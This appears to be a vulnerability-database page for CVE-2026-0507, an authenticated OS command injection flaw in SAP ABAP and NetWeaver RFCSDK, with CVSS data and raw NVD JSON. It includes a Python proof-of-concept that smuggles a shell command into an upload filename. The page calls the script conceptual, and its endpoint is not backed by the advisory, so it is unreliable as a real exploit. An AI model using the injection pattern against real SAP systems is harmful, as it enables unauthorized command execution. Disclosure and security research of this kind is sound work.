Security Vulnerability Report
中文
CVE-2026-0507 CVSS 8.4 HIGH

CVE-2026-0507

Published: 2026-01-13 02:15:53
Last Modified: 2026-04-15 00:35:42

Description

Due to an OS Command Injection vulnerability in SAP Application Server for ABAP and SAP NetWeaver RFCSDK, an authenticated attacker with administrative access and adjacent network access could upload specially crafted content to the server. If processed by the application, this content enables execution of arbitrary operating system commands. Successful exploitation could lead to full compromise of the system�s confidentiality, integrity, and availability.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Application Server for ABAP (specific versions see SAP Note 3675151)
SAP NetWeaver RFCSDK (all versions prior to security patch)
SAP NetWeaver 7.x (various releases affected)
SAP S/4HANA (ABAP stack versions with vulnerable RFCSDK component)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0507 PoC - SAP OS Command Injection # Note: This is a conceptual PoC for educational purposes only import requests import base64 TARGET_URL = "https://target-sap-server:50000" USERNAME = "attacker_admin" PASSWORD = "admin_password" def exploit_cve_2026_0507(): """ SAP OS Command Injection PoC Attack requires authenticated session with admin privileges """ # Login to SAP system session = requests.Session() login_url = f"{TARGET_URL}/sap/public/opu/odata/sap/" # Authentication headers auth_headers = { 'Authorization': f'Basic {base64.b64encode(f"{USERNAME}:{PASSWORD}".encode()).decode()}', 'Content-Type': 'application/json' } # Malicious payload - OS command injection # Commands will be executed on the SAP server malicious_filename = ";touch /tmp/pwned_by_cve_2026_0507;" # Upload crafted content upload_data = { 'filename': malicious_filename, 'content': 'malicious content that triggers command execution', 'application_type': 'ABAP' } try: response = session.post( f"{TARGET_URL}/sap/bc/adt/filestore", json=upload_data, headers=auth_headers, verify=False, timeout=30 ) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Payload delivered successfully") print("[+] Check /tmp/pwned_by_cve_2026_0507 on target") else: print(f"[-] Exploitation failed: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("CVE-2026-0507 SAP Command Injection PoC") print("Target: SAP Application Server for ABAP / NetWeaver RFCSDK") exploit_cve_2026_0507()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0507", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:53.427", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to an OS Command Injection vulnerability in SAP Application Server for ABAP and SAP NetWeaver RFCSDK, an authenticated attacker with administrative access and adjacent network access could upload specially crafted content to the server. If processed by the application, this content enables execution of arbitrary operating system commands. Successful exploitation could lead to full compromise of the system�s confidentiality, integrity, and availability."}, {"lang": "es", "value": "Debido a una vulnerabilidad de inyección de comandos del sistema operativo en SAP Servidor de aplicaciones para ABAP y SAP NetWeaver RFCSDK, un atacante autenticado con acceso administrativo y acceso a la red adyacente podría cargar contenido especialmente diseñado al servidor. Si es procesado por la aplicación, este contenido permite la ejecución de comandos arbitrarios del sistema operativo. La explotación exitosa podría llevar a un compromiso total de la confidencialidad, integridad y disponibilidad del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://me.sap.com/notes/3675151", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}